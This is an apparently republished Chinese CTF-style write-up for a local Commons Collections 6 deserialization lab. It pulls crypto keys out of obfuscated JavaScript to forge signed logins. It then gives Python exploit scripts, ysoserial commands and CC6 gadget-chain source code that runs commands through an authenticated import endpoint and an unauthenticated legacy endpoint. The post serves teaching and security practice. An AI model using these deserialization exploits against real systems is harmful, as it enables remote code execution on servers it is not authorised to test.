文章总结: 本文详细记录了CC6反序列化靶场的渗透测试过程,包含环境搭建、信息收集与两条利用路径。路径A通过JS逆向提取AES密钥与签名密钥,加密登录后发送CC6payload;路径B发现未授权隐藏接口直接利用。文章提供完整的Python利用脚本与加解密详解,实战性强,适合学习反序列化漏洞利用与Web安全测试技术。 综合评分: 87 文章分类: 渗透测试,CTF,漏洞分析,代码审计,WEB安全
凌曦安全:CC6 反序列化靶场 WriteUp
原创
凌曦安全 凌曦安全
凌曦安全
2026年3月11日 10:02 上海
本推文提供的信息、技术和方法仅用于教育目的。文中讨论的所有案例和技术均旨在帮助读者更好地理解相关安全问题,并采取适当的防护措施来保护自身系统免受攻击。
严禁将本文中的任何信息用于非法目的或对任何未经许可的系统进行测试。未经授权尝试访问计算机系统或数据是违法行为,可能会导致法律后果。
作者不对因阅读本文后采取的任何行动所造成的任何形式的损害负责,包括但不限于直接、间接、特殊、附带或后果性的损害。用户应自行承担使用这些信息的风险。我们鼓励所有读者遵守法律法规,负责任地使用技术知识,共同维护网络空间的安全与和谐。
作者:凌曦安全 靶场:CC6 反序列化 Web 攻防靶场 难度:中等
目录
-
环境搭建
-
信息收集
-
路径 A:登录后台利用
-
路径 B:未授权接口利用
-
加解密详解
-
漏洞原理
环境搭建
https://github.com/lingxisec/LingXiLabs
视频讲解
直达链接:https://www.bilibili.com/video/BV12hZ7BMEb9/
信息收集
1. 访问首页
访问 http://127.0.0.1:8080,看到登录页面。
2. 查看页面源码
查看 index.html 源码,发现加载了以下 JS 文件:
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
<script src="/js/app.min.js"></script>
3. 下载并分析 JS 文件
下载 /js/app.min.js 文件进行分析。
curl http://127.0.0.1:8080/js/app.min.js -o app.min.js
路径 A:登录后台利用
步骤 1:JS 逆向获取登录密钥
1.1 分析 app.min.js
打开 app.min.js,虽然代码被混淆,但可以看到一些关键信息:
// 在文件开头可以看到注释// Legacy sync endpoint (deprecated): /api/legacy/sync - TODO: remove in v2.0// var _0xlegacy='/api/legacy/sync';
这个注释暴露了一个隐藏接口,我们稍后会用到。
1.2 提取 AES 密钥
在混淆代码中搜索数组,可以找到:
var _0x9b1c=[76,105,110,103,88,105,95,83,51,99,117,114,51,95,75,33];var _0x2d3e=[76,105,110,57,120,49,95,49,86,95,50,48,50,53,33,33];
将这些数字转换为字符:
# AES Keykey_bytes = [76,105,110,103,88,105,95,83,51,99,117,114,51,95,75,33]aes_key = ''.join(chr(b) for b in key_bytes)print(f"AES Key: {aes_key}")# 输出: LingXi_S3cur3_K!
# AES IViv_bytes = [76,105,110,57,120,49,95,49,86,95,50,48,50,53,33,33]aes_iv = ''.join(chr(b) for b in iv_bytes)print(f"AES IV: {aes_iv}")# 输出: Lin9x1_1V_2025!!
1.3 提取签名密钥
继续搜索,找到签名密钥:
var _0x4f5a=[86,117,108,110,95,82,97,110,103,101,95,67,67,54,95,83,51,99,114,51,116,95,50,48,50,53];
转换:
secret_bytes = [86,117,108,110,95,82,97,110,103,101,95,67,67,54,95,83,51,99,114,51,116,95,50,48,50,53]secret = ''.join(chr(b) for b in secret_bytes)print(f"Secret: {secret}")# 输出: Vuln_Range_CC6_S3cr3t_2025
步骤 2:登录系统
2.1 加密用户名和密码
使用提取的 AES 密钥加密登录凭据:
from Crypto.Cipher import AESfrom Crypto.Util.Padding import padimport base64
def aes_encrypt(plaintext, key, iv): cipher = AES.new(key.encode(), AES.MODE_CBC, iv.encode()) padded = pad(plaintext.encode(), AES.block_size) encrypted = cipher.encrypt(padded) return base64.b64encode(encrypted).decode()
aes_key = "LingXi_S3cur3_K!"aes_iv = "Lin9x1_1V_2025!!"
username = "admin"password = "Admin@123"
enc_username = aes_encrypt(username, aes_key, aes_iv)enc_password = aes_encrypt(password, aes_key, aes_iv)
print(f"Encrypted Username: {enc_username}")print(f"Encrypted Password: {enc_password}")
2.2 生成签名
使用 HMAC-SHA256 生成签名:
import hmacimport hashlibimport timeimport secrets
def generate_signature(secret, timestamp, nonce): message = f"{timestamp}:{nonce}" signature = hmac.new( secret.encode(), message.encode(), hashlib.sha256 ).digest() return base64.b64encode(signature).decode()
secret = "Vuln_Range_CC6_S3cr3t_2025"timestamp = str(int(time.time() * 1000))nonce = secrets.token_hex(16)
signature = generate_signature(secret, timestamp, nonce)
print(f"Timestamp: {timestamp}")print(f"Nonce: {nonce}")print(f"Signature: {signature}")
2.3 发送登录请求
import requests
url = "http://127.0.0.1:8080/api/login"
headers = { "Content-Type": "application/json", "X-Timestamp": timestamp, "X-Nonce": nonce, "X-Signature": signature}
data = { "u": enc_username, "p": enc_password}
response = requests.post(url, json=data, headers=headers)print(f"Status: {response.status_code}")print(f"Response: {response.json()}")
# 保存 Cookiesession_cookie = response.cookies.get('JSESSIONID')print(f"Session Cookie: {session_cookie}")
步骤 3:访问后台
登录成功后,访问 http://127.0.0.1:8080/admin.html
可以看到”备份恢复”功能,这里可以导入数据。
步骤 4:生成 CC6 Payload
使用 ysoserial 生成 Commons Collections 6 反序列化 payload:
# 下载 ysoserialwget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# 生成 payload(执行 id 命令)java -jar ysoserial-all.jar CommonsCollections6 "id" > payload.bin
# 转换为 Base64base64 payload.bin > payload.b64
步骤 5:发送 Payload
5.1 完整利用脚本
import requestsimport hmacimport hashlibimport timeimport secretsimport base64
class CC6Exploit: def __init__(self, target_url, secret): self.target_url = target_url self.secret = secret self.session = requests.Session()
def generate_signature(self, timestamp, nonce): message = f"{timestamp}:{nonce}" signature = hmac.new( self.secret.encode(), message.encode(), hashlib.sha256 ).digest() return base64.b64encode(signature).decode()
def get_signed_headers(self): timestamp = str(int(time.time() * 1000)) nonce = secrets.token_hex(16) signature = self.generate_signature(timestamp, nonce)
return { "X-Timestamp": timestamp, "X-Nonce": nonce, "X-Signature": signature }
def login(self, username, password): from Crypto.Cipher import AES from Crypto.Util.Padding import pad
aes_key = "LingXi_S3cur3_K!" aes_iv = "Lin9x1_1V_2025!!"
# 加密用户名和密码 cipher_u = AES.new(aes_key.encode(), AES.MODE_CBC, aes_iv.encode()) enc_u = base64.b64encode(cipher_u.encrypt(pad(username.encode(), 16))).decode()
cipher_p = AES.new(aes_key.encode(), AES.MODE_CBC, aes_iv.encode()) enc_p = base64.b64encode(cipher_p.encrypt(pad(password.encode(), 16))).decode()
# 发送登录请求 url = f"{self.target_url}/api/login" headers = self.get_signed_headers() headers["Content-Type"] = "application/json"
data = {"u": enc_u, "p": enc_p}
response = self.session.post(url, json=data, headers=headers)
if response.status_code == 200 and response.json().get("success"): print("[+] 登录成功!") return True else: print(f"[-] 登录失败: {response.text}") return False
def exploit_authenticated(self, payload_file): """路径 A:需要登录和签名""" with open(payload_file, 'rb') as f: payload = base64.b64encode(f.read()).decode()
url = f"{self.target_url}/api/data/import" headers = self.get_signed_headers() headers["Content-Type"] = "text/plain"
response = self.session.post(url, data=payload, headers=headers)
print(f"[*] 状态码: {response.status_code}") print(f"[*] 响应: {response.text}")
return response
# 使用示例if __name__ == "__main__": exploit = CC6Exploit( target_url="http://127.0.0.1:8080", secret="Vuln_Range_CC6_S3cr3t_2025" )
# 登录 if exploit.login("admin", "Admin@123"): # 发送 payload exploit.exploit_authenticated("payload.bin")
路径 B:未授权接口利用
步骤 1:JS 审计发现隐藏接口
1.1 分析 app.min.js
在 app.min.js 中可以找到以下注释:
// Legacy sync endpoint (deprecated): /api/legacy/sync - TODO: remove in v2.0// var _0xlegacy='/api/legacy/sync';
以及被注释的函数:
// Legacy function - deprecated, use __signPayload instead// var _0xlegacySync=function(_0xdata){return fetch('/api/legacy/sync',{method:'POST',headers:{'Content-Type':'text/plain'},body:_0xdata,credentials:'same-origin'}).then(function(_0xr){return _0xr.json();});};
这暴露了一个隐藏的接口:/api/legacy/sync
步骤 2:测试未授权访问
# 测试接口是否存在curl -X POST http://127.0.0.1:8080/api/legacy/sync \ -H "Content-Type: text/plain" \ -d "test"
如果返回类似 “请求体为空” 或其他错误,说明接口存在且无需认证!
步骤 3:直接发送 Payload(无需登录)
def exploit_unauthenticated(target_url, payload_file): """路径 B:无需登录和签名""" with open(payload_file, 'rb') as f: payload = base64.b64encode(f.read()).decode()
url = f"{target_url}/api/legacy/sync" headers = {"Content-Type": "text/plain"}
response = requests.post(url, data=payload, headers=headers)
print(f"[*] 状态码: {response.status_code}") print(f"[*] 响应: {response.text}")
return response
# 使用exploit_unauthenticated("http://127.0.0.1:8080", "payload.bin")
步骤 4:完整利用脚本
#!/usr/bin/env python3import requestsimport base64import argparse
def exploit_legacy(target_url, payload_file): """未授权接口利用""" print("[*] 使用未授权接口: /api/legacy/sync")
with open(payload_file, 'rb') as f: payload = base64.b64encode(f.read()).decode()
url = f"{target_url}/api/legacy/sync" headers = {"Content-Type": "text/plain"}
print(f"[*] 发送 payload 到 {url}") response = requests.post(url, data=payload, headers=headers)
print(f"[+] 状态码: {response.status_code}") print(f"[+] 响应: {response.text}")
if __name__ == "__main__": parser = argparse.ArgumentParser(description="CC6 靶场利用脚本") parser.add_argument("--target", default="http://127.0.0.1:8080", help="目标 URL") parser.add_argument("--payload", required=True, help="Payload 文件路径")
args = parser.parse_args()
exploit_legacy(args.target, args.payload)
使用:
python3 exploit.py --payload payload.bin
加解密详解
AES-CBC 加密(登录)
加密流程
-
明文
:用户名或密码(如 “admin”)
-
填充
:使用 PKCS7 填充到 16 字节的倍数
-
加密
:使用 AES-128-CBC 模式
-
编码
:Base64 编码
Python 实现
from Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpadimport base64
# 密钥和 IV(从 JS 中提取)AES_KEY = "LingXi_S3cur3_K!" # 16 字节AES_IV = "Lin9x1_1V_2025!!" # 16 字节
def aes_encrypt(plaintext): """AES-CBC 加密""" cipher = AES.new(AES_KEY.encode(), AES.MODE_CBC, AES_IV.encode()) padded = pad(plaintext.encode(), AES.block_size) encrypted = cipher.encrypt(padded) return base64.b64encode(encrypted).decode()
def aes_decrypt(ciphertext): """AES-CBC 解密""" cipher = AES.new(AES_KEY.encode(), AES.MODE_CBC, AES_IV.encode()) encrypted = base64.b64decode(ciphertext) decrypted = cipher.decrypt(encrypted) unpadded = unpad(decrypted, AES.block_size) return unpadded.decode()
# 测试username = "admin"encrypted = aes_encrypt(username)print(f"加密: {encrypted}")
decrypted = aes_decrypt(encrypted)print(f"解密: {decrypted}")
Java 后端解密
// AuthService.javaprivate String decrypt(String encryptedBase64) throws Exception { byte[] ciphertext = Base64.getDecoder().decode(encryptedBase64.trim()); byte[] key = config.getAesKey().getBytes(StandardCharsets.UTF_8); byte[] iv = config.getAesIv().getBytes(StandardCharsets.UTF_8);
Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding"); c.init(Cipher.DECRYPT_MODE, new SecretKeySpec(key, "AES"), new IvParameterSpec(iv)); byte[] dec = c.doFinal(ciphertext);
return new String(dec, StandardCharsets.UTF_8);}
HMAC-SHA256 签名(防重放)
签名流程
-
生成时间戳
:当前时间的毫秒数
-
生成 Nonce
:32 位随机十六进制字符串
-
构造消息
:
timestamp:nonce -
计算 HMAC
:使用 SHA256 和密钥
-
编码
:Base64 编码
Python 实现
import hmacimport hashlibimport timeimport secretsimport base64
# 签名密钥(从 JS 中提取)SIGN_SECRET = "Vuln_Range_CC6_S3cr3t_2025"
def generate_signature(): """生成签名头""" # 1. 生成时间戳(毫秒) timestamp = str(int(time.time() * 1000))
# 2. 生成随机 nonce nonce = secrets.token_hex(16) # 32 位十六进制
# 3. 构造消息 message = f"{timestamp}:{nonce}"
# 4. 计算 HMAC-SHA256 signature = hmac.new( SIGN_SECRET.encode(), message.encode(), hashlib.sha256 ).digest()
# 5. Base64 编码 signature_b64 = base64.b64encode(signature).decode()
return { "X-Timestamp": timestamp, "X-Nonce": nonce, "X-Signature": signature_b64 }
# 测试headers = generate_signature()print("签名头:")for key, value in headers.items(): print(f" {key}: {value}")
JavaScript 前端实现
// 从 app.min.js 中提取的逻辑function hmacSha256Base64(keyStr, messageStr) { if (typeof CryptoJS !== 'undefined') { var hash = CryptoJS.HmacSHA256(messageStr, keyStr); return CryptoJS.enc.Base64.stringify(hash); } // 或使用 Web Crypto API const enc = new TextEncoder(); return crypto.subtle.importKey( 'raw', enc.encode(keyStr), { name: 'HMAC', hash: 'SHA-256' }, false, ['sign'] ).then(key => { return crypto.subtle.sign('HMAC', key, enc.encode(messageStr)); }).then(sig => { return btoa(String.fromCharCode(...new Uint8Array(sig))); });}
// 生成签名const secret = 'Vuln_Range_CC6_S3cr3t_2025';const timestamp = Date.now();const nonce = Array.from({length: 32}, () => Math.floor(Math.random() * 16).toString(16)).join('');const message = timestamp + ':' + nonce;
hmacSha256Base64(secret, message).then(signature => { console.log('X-Timestamp:', timestamp); console.log('X-Nonce:', nonce); console.log('X-Signature:', signature);});
Java 后端验证
// SignatureService.javapublic boolean verify(long timestamp, String nonce, String signature) { // 1. 检查时间戳(300 秒窗口) long now = System.currentTimeMillis(); long windowMs = 300 * 1000L; if (Math.abs(now - timestamp) > windowMs) { return false; // 时间戳过期 }
// 2. 检查 nonce 是否已使用(防重放) String nonceKey = nonce.trim() + ":" + timestamp; if (!usedNonces.add(nonceKey)) { return false; // Nonce 已使用 }
// 3. 计算期望的签名 String expected = computeSignature(timestamp, nonce.trim());
// 4. 比较签名 return expected != null && expected.equals(signature);}
public String computeSignature(long timestamp, String nonce) { String message = timestamp + ":" + nonce;
Mac mac = Mac.getInstance("HmacSHA256"); SecretKeySpec secretKey = new SecretKeySpec( config.getSecret().getBytes(StandardCharsets.UTF_8), "HmacSHA256" ); mac.init(secretKey); byte[] hash = mac.doFinal(message.getBytes(StandardCharsets.UTF_8));
return Base64.getEncoder().encodeToString(hash);}
完整请求示例
登录请求
POST /api/login HTTP/1.1Host: 127.0.0.1:8080Content-Type: application/jsonX-Timestamp: 1704067200000X-Nonce: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6X-Signature: dGVzdHNpZ25hdHVyZWJhc2U2NGVuY29kZWQ=
{ "u": "DggQe/jDNFSS2PTydb2zGiOM3hJx0yFN1JU8hOISIFs=", "p": "8xK2mN5pQ7rT9vW1yZ3aB4cD6eF8gH0iJ2kL4mN6oP8="}
数据导入请求(需登录)
POST /api/data/import HTTP/1.1Host: 127.0.0.1:8080Content-Type: text/plainCookie: JSESSIONID=ABC123DEF456X-Timestamp: 1704067200000X-Nonce: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6X-Signature: dGVzdHNpZ25hdHVyZWJhc2U2NGVuY29kZWQ=
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvcv/...
未授权接口请求
POST /api/legacy/sync HTTP/1.1Host: 127.0.0.1:8080Content-Type: text/plain
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvcv/...
漏洞原理
Commons Collections 6 反序列化链
漏洞成因
Java 反序列化漏洞是由于应用程序在反序列化不可信数据时,没有进行充分的验证,导致攻击者可以构造恶意的序列化对象,在反序列化过程中执行任意代码。
CC6 链原理
Commons Collections 6 利用链的核心是:
-
PriorityQueue
:优先队列,在反序列化时会调用
heapify()方法 -
TransformingComparator
:转换比较器,在比较时会调用
transform()方法 -
ChainedTransformer
:链式转换器,依次执行多个转换器
-
InvokerTransformer
:反射调用转换器,可以调用任意方法
调用链
PriorityQueue.readObject() -> heapify() -> siftDown() -> siftDownUsingComparator() -> comparator.compare() -> TransformingComparator.compare() -> transformer.transform() -> ChainedTransformer.transform() -> InvokerTransformer.transform() -> Method.invoke() -> Runtime.exec()
Payload 构造
// 1. 创建恶意转换器链Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 2. 创建 TransformingComparatorTransformingComparator comparator = new TransformingComparator(chainedTransformer);
// 3. 创建 PriorityQueuePriorityQueue queue = new PriorityQueue(2, comparator);queue.add(1);queue.add(2);
// 4. 序列化ByteArrayOutputStream bos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(bos);oos.writeObject(queue);byte[] payload = bos.toByteArray();
靶场中的反序列化点
VulnController.java
@PostMapping(value = "/data/import", consumes = MediaType.APPLICATION_OCTET_STREAM_VALUE)public ResponseEntity<Map<String, Object>> dataImport(@RequestBody(required = false) byte[] body) throws Exception { // ... Object obj = deserialize(decoded); // 危险! // ...}
@PostMapping(value = "/legacy/sync", consumes = {MediaType.TEXT_PLAIN_VALUE, MediaType.APPLICATION_OCTET_STREAM_VALUE})public ResponseEntity<Map<String, Object>> legacySync(@RequestBody(required = false) byte[] body) throws Exception { // ... Object obj = deserialize(decoded); // 危险! // ...}
private Object deserialize(byte[] data) throws Exception { try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data))) { return ois.readObject(); // 直接反序列化,没有任何过滤 }}
防护机制对比
总结
关键技术点
-
JS 逆向
:从混淆的 JS 中提取密钥和接口
-
AES-CBC 加密
:理解对称加密的加解密过程
-
HMAC-SHA256 签名
:理解消息认证码的生成和验证
-
Java 反序列化
:理解反序列化漏洞的原理和利用
-
Commons Collections
:掌握 CC6 链的构造和调用过程
学习建议
-
动手实践
:在本地搭建靶场,尝试两种攻击路径
-
代码审计
:阅读源码,理解每个防护机制的实现
-
工具使用
:熟练使用 ysoserial、Burp Suite 等工具
-
原理学习
:深入理解 Java 反序列化的底层机制
-
防御思维
:从攻击者角度思考如何防御
凌曦安全 · 更多靶场和课程:https://www.yuque.com/syst1m-/blog/lc3k6elv0zqhdal3
外部交流群(欢迎进群互相交流):由于群人数超过了200,只能邀请拉群,可以关注公众号,后台回复“加群”,获取助手绿泡泡,联系小助手进交流群
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:凌曦安全 凌曦安全 凌曦安全《凌曦安全:CC6 反序列化靶场 WriteUp》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论